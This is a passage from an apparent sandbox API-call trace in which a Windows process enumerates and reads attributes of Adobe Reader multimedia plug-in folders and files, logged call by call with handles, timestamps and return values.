lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0083.638] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.638] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.638] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SKY", cAlternateFileName="")) returned 1 [0083.638] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.SKY", cAlternateFileName="")) returned 1 [0083.638] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SKY", cAlternateFileName="")) returned 1 [0083.638] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SKY", cAlternateFileName="")) returned 1 [0083.638] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SKY", cAlternateFileName="")) returned 0 [0083.638] GetLastError () returned 0x12 [0083.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2fa0) returned 1 [0083.639] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2e98) returned 1 [0083.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.639] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SLV", cAlternateFileName="")) returned 1 [0083.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0083.642] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0083.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.642] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0083.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.643] NtClose (Handle=0x168) returned 0x0 [0083.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0083.644] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0083.644] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.644] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SLV", cAlternateFileName="")) returned 1 [0083.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0083.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216aa0 [0083.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b1490 [0083.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.646] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.SLV", cAlternateFileName="")) returned 1 [0083.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216ac0 [0083.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b1598 [0083.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.648] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SLV", cAlternateFileName="")) returned 1 [0083.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216ae0 [0083.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b16a0 [0083.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.650] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SLV", cAlternateFileName="")) returned 1 [0083.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216b00 [0083.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b17a8 [0083.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.651] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SLV", cAlternateFileName="")) returned 0 [0083.651] GetLastError () returned 0x12 [0083.651] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e91c0 [0083.651] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.651] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.651] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SLV", cAlternateFileName="")) returned 1 [0083.651] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.SLV", cAlternateFileName="")) returned 1 [0083.652] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SLV", cAlternateFileName="")) returned 1 [0083.652] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SLV", cAlternateFileName="")) returned 1 [0083.652] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SLV", cAlternateFileName="")) returned 0 [0083.652] GetLastError () returned 0x12 [0083.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2e98) returned 1 [0083.652] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2fa0) returned 1 [0083.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.653] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_TUR", cAlternateFileName="")) returned 1 [0083.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.653] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.654] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0083.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.654] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0083.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.655] NtClose (Handle=0x180) returned 0x0 [0083.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0083.656] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e91c0 [0083.656] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.656] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.TUR", cAlternateFileName="")) returned 1 [0083.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0083.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216b20 [0083.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b18b0 [0083.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.658] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.TUR", cAlternateFileName="")) returned 1 [0083.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216b40 [0083.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b19b8 [0083.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.660] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.TUR", cAlternateFileName="")) returned 1 [0083.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216b60 [0083.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b1ac0 [0083.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.661] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, 